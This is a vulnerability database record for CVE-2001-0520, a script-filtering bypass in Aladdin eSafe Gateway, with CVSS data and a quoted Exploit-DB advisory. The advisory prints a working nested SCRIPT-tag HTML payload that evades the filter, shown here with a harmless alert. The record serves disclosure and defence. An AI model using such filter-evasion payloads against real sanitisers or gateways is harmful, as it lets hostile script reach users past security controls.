Aladdin eSafe Gateway Multiple Tag SCRIPT Filtering Bypass
2001-05-20T00:00:00
ID OSVDB:7640 Type osvdb Reporter OSVDB Modified 2001-05-20T00:00:00
Description
No description provided by the source
References:
Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2001-05/0284.html
ISS X-Force ID: 6580
Generic Informational URL: http://www.theregister.co.uk/2001/05/21/aladdin_esafe_gateway_unsafe/
CVE-2001-0520
{"cve": [{"lastseen": "2020-10-03T11:36:57", "description": "Aladdin eSafe Gateway versions 3.0 and earlier allows a remote attacker to circumvent filtering of SCRIPT tags by embedding the scripts within certain HTML tags including (1) onload in the BODY tag, (2) href in the A tag, (3) the BUTTON tag, (4) the INPUT tag, or (5) any other tag in which scripts can be defined.", "edition": 3, "cvss3": {}, "published": "2001-08-14T04:00:00", "title": "CVE-2001-0520", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2001-0520"], "modified": "2017-12-19T02:29:00", "cpe": ["cpe:/a:aladdin_knowledge_systems:esafe_gateway:3.0"], "id": "CVE-2001-0520", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0520", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:aladdin_knowledge_systems:esafe_gateway:3.0:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2016-02-02T15:10:48", "description": "eSafe Gateway 2.1 Script-filtering Bypass Vulnerability. CVE-2001-0520. Remote exploits for multiple platform", "published": "2001-05-20T00:00:00", "type": "exploitdb", "title": "eSafe Gateway 2.1 Script-filtering Bypass Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2001-0520"], "modified": "2001-05-20T00:00:00", "id": "EDB-ID:20869", "href": "https://www.exploit-db.com/exploits/20869/", "sourceData": "source: http://www.securityfocus.com/bid/2750/info\r\n\r\neSafe Gateway is a security utility used for filtering internet content.\r\n\r\nAn html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.\r\n\r\nNote: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.\r\n\r\nDetails\r\n----------------------\r\nLet's say for example that we want the following HTML code to enter an\r\norganization and the script it contains to be executed:\r\n\r\n<HTML><HEAD></HEAD>\r\n<BODY>\r\n<SCRIPT language=\"JavaScript\">\r\nalert(\"hi\");\r\n</SCRIPT>\r\n</BODY></HTML>\r\n\r\nIf we run this page through eSafe's filtering engine, the script will be\r\nfiltered and the resulting with the following HTML code:\r\n\r\n<HTML><HEAD></HEAD>\r\n<BODY>\r\n\r\n</BODY></HTML>\r\n\r\nHowever, if we create the following code:\r\n\r\n<HTML><HEAD></HEAD>\r\n<BODY>\r\n<SCRIPT<script language=\"javascript\"> </script> language=\"javascript\">\r\nalert(\"hi\");\r\n</SCRIPT>\r\n</BODY></HTML>\r\n\r\nThen the inner \"<script language=\"javascript\"> </script>\" will be extracted\r\nand we will be left with the following HTML code:\r\n\r\n<HTML><HEAD></HEAD>\r\n<BODY>\r\n<SCRIPT language=\"javascript\">\r\nalert(\"hi\");\r\n</SCRIPT>\r\n</BODY></HTML> ", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/20869/"}]}
